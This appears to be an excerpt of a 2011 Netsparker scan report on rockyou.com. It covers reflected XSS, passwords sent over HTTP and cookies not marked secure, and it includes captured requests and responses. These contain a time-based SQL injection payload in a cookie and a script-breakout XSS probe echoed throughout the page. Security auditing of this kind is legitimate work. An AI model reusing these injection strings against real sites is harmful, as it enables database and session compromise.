User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=pj7gvi6m71cds8ga7nfrd4d6n1; lang=en; lastlogin=1303165815; ctid=3; sns_type=rockyou.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:30:16 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:30:15 GMT; path=/; domain=.rockyou.com,lang=en; expires=Thu, 28-Apr-2011 22:30:16 GMT; path=/; domain=.rockyou.com,lastlogin=1303165816; expires=Wed, 27-Jul-2011 22:30:16 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:30:16 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=29822 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 4697
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="js/embeds.js?ver=4" type="text/javascript"></script><script src="js/music-embeds.js?ver=1" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">

</HEAD>




<BODY class=""
style="background-image: url(/images/menu-bg.gif); background-repeat: repeat-x;"

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initPage();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="display:block;width:840px;height:68px;border:0px;position:relative;">

<a href="/index.php"><img src="/images/logo-menutop-rockyou.gif" alt=""></a>
<table cellpadding="1" cellspacing="0" style="position:absolute;top:0px;left:107px;"><tr>


<td style="font-size:15px"><a class="mainmenu" href="/choose_widget.php">Create</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/featuredartists.php">Browse</a></td>

</tr></table>

<img src="/images/index_tab.gif" style="position:absolute;top:0px;left:620px">
<div style="position:absolute;top:5px;left:630px;font-size:11px;font-family:arial;width:200px;text-align:center;">
<a href="http://www.rockyou.com/login/" style="color: white;">login / register</a> </div>
</div>

<div style="position:absolute;top:24;left:628;">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #6388c2"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</div>




<script>
var thisinstanceid = '117242930'"--></style></script><script>netsparker(0x001F33)</script>';
membed = new musicEmbed(-1);
var curSong = -1;

function initPage()
{
//refreshMusic(-1);
embed = new appEmbed(thisinstanceid);
embed.noSound=true;
embed.insertEmbed("viewslideshow");
embed.setPixelSize(300,200);
}

function refreshMusic(id)
{
membed.insertEmbed('music-player');
}

function previewSong(url,cnt)
{
if (membed.songUrl!=url)
{
membed.songUrl=url;
document.getElementById('playicon-'+cnt).src='/images/icon-stopbig.gif';
if (curSong >= 0) document.getElementById('playicon-'+curSong).src='/images/icon-playbig.gif';

}
else
{
if (membed.songUrl==url)
{
document.getElementById('playicon-'+cnt).src='/images/icon-playbig.gif';
}
membed.songUrl="";
curSong=-1;
}
membed.stop = false;
curSong = cnt;
refreshMusic(-1);
}

function loadingSong()
{

}

function CopyToClipboard()
{
var e = document.getElementById("slidecontent");
e.focus();
e.select();
document.selection.createRange().execCommand("Copy");
}
</script>
<table><tr><td valign="top" >
<div style="position:relative">
<div id="viewslideshow" style="margin-left: 10px; border:1px solid #cccccc;"></div>
</div>
<div style="float:right;display:inline"><a href="show_my_gallery.php?instanceid=117242930'"--></style></script><script>netsparker(0x001F33)</script>">View Full Show</a></div>
<div style="clear:both"></div>
<div style="background-color:#e9e8e8;border:solid #aaa 1px;width:340px;margin-top:10px;margin-left:11px;padding-top:3px" align="center">
<strong>Embed Code</strong><br />
<textarea id="slidecontent" wrap="hard" onClick="this.focus(); this.select();" style="margin:2px auto 5px auto;border: solid 1px #aaa;background:#fff;font-size:12px;font-family:Arial, Helvetica, sans-serif; height:50; color:#666; width: 300px; overflow:hidden;"><embed src="http://apps.rockyou.com/rockyou.swf?instanceid=117242930'"--></style></script><script>netsparker(0x001F33)</script>" quality="high" wmode="transparent" width="426" height="320" flashvars="appWidth=325&appHeight=244" name="slideshowpreview" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/><br><img src="http://apps.rockyou.com/dot.gif"><a target="_BLANK" href="http://www.rockyou.com?type=slideshow&refid=117242930'"--></style></script><script>netsparker(0x001F33)</script>"><img title="RockYou slideshow" src="http://apps.rockyou.com/images/logo-mini.gif" border="0"></a> <a target="_BLANK" href="http://www.rockyou.com/slideshow-create.php?source=cyo&refid=117242930'"--></style></script><script>netsparker(0x001F33)</script>">Create Your Own</a><a style="padding-right:0px;" target="_BLANK" href=" http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930'"--></style></script><script>netsparker(0x001F33)</script>"><img style="border:0px;" src="http://apps.rockyou.com/images/tail_playlist.gif "></a></textarea>
<br />
<a href="javascript: CopyToClipboard();"><img src="images/rockyou_music-copybutton.jpg" style="margin-bottom:7px" /></a>
<!--br><center><a onclick="urchinTracker ('/links/viewplaylist/slideshowcreate')" href="/slideshow-create.php?source=svp"><img src="/images/button-createslideshow-big.gif"></a></center1-->
</td><td valign="top">
<div style="font-weight: bold; font-size:24px;font-family: arial;">

<img src='images/rockyou_music-banner.jpg'>
<p style="margin:10px 0px 0px 0px;">Song Playlist</div>
<table width='450px'><tr style='background-color:#e9e8e8;'><td>1</td><td style='width: 80px; height:80px;'><div style='position:relative'><a href='javascript:previewSong("http://apps.rockyou.com/music/0/0/4/492.mp3",1);'><img height='80' src='http://apps.rockyou.com/images/spacer.gif'><img id='playicon-1' style='position:absolute;left:20px;top:20px;' src='/images/icon-playbig.gif'></a></div></td><td><b style='font-size: 18px;'>Chicken Fried</b><br>Zac Brown Band<br /><br /><a onclick='urchinTracker("/links/viewplaylist/492");' href='/music/music_slideshow_create.php?songid=492'>Get This Song in a Slideshow</a></td></tr></table><div style='text-align:right;margin-top:5px;'>

<img src="/images/logos/snocap.png" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;
<img src="/images/bebo-bands-logo.jpg" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;

<img src="/images/logo-nettwerk.jpg" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;
<img src="/images/logo-pumpaudio.jpg" style="border:1px solid #CCCCCC">
</div>
</td></tr></table><div id='music-player'></div>

<div style='position: absolute; left: 850px; top: 0px; width: 160px;'>

</div>
<style>
.footmenublk:link {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:visited {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:active {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:hover {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
</style>

<br><br>
<div class="tp"><span style="color:#CCCCCC">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Copyright &copy; 2007 RockYou | <a target="_BLANK" href="/help" class="footmenublk">FAQ / Help</a> | <a target="_BLANK" href="/privacypolicy.php" class="footmenublk">Privacy</a> | <a href="/tos.php" target=_blank class="footmenublk">Terms of Use</a> | <a href="/corp/facebook/ad.php" target="_blank" class="footmenublk">Facebook Advertisers</a> | <a href="/corp/facebook/dev.php" target="_blank" class="footmenublk">Facebook Developers</a> | <a href="/corp/about.php" target=_blank class="footmenublk">About Us</a></span></div>

<div class="tp">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
| <a href="?lang=en&instanceid=117242930'"--></style></script><script>netsparker(0x001F33)</script>" class="footmenublk">English</a> | <a href="?lang=zh&instanceid=117242930'"--></style></script><script>netsparker(0x001F33)</script>" class="footmenublk">中文</a> | <a href="?lang=es&instanceid=117242930'"--></style></script><script>netsparker(0x001F33)</script>" class="footmenublk">Español | <a href="?lang=pt&instanceid=117242930'"--></style></script><script>netsparker(0x001F33)</script>" class="footmenublk">Port..
Password Transmitted Over HTTP

Password Transmitted Over HTTP

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.

Impact

If an attacker can intercept network traffic he/she can steal users credentials.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php

Form target action

Request

GET /login.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:53:52 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:53:51 GMT; path=/; domain=.rockyou.com,lang=en; expires=Thu, 28-Apr-2011 21:53:52 GMT; path=/; domain=.rockyou.com,lastlogin=1303163632; expires=Wed, 27-Jul-2011 21:53:52 GMT; path=/; domain=.rockyou.com,sns_type=deleted; expires=Sun, 18-Apr-2010 21:53:51 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=11872 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 8995
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:block"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value=""><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value=""><br /><input type="hidden" name="user" id="user" value=""><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><option value="1911&..
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /login/

/login/ CONFIRMED

https://www.rockyou.com/login/

Identified Cookie

ryuserid

Request

GET /login/ HTTP/1.1
Referer: http://www.rockyou.com/login/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: lang=pt; lastlogin=1303163721; ctid=2; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:55:28 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:55:27 GMT; path=/; domain=.rockyou.com,lastlogin=1303163728; expires=Wed, 27-Jul-2011 21:55:28 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 21:55:28 GMT; path=/; domain=.rockyou.com
X-RyHeader: www164.rockyou.com took D=9663 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<script>
function redir() {
var redirForm = document.getElementById('redirect_form');
if(redirForm != null & redirForm != undefined){
document.getElementById('redirect_form').submit();
}
}
window.onload=redir;
</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"><link href="/css/login.css.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Ajuda</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> 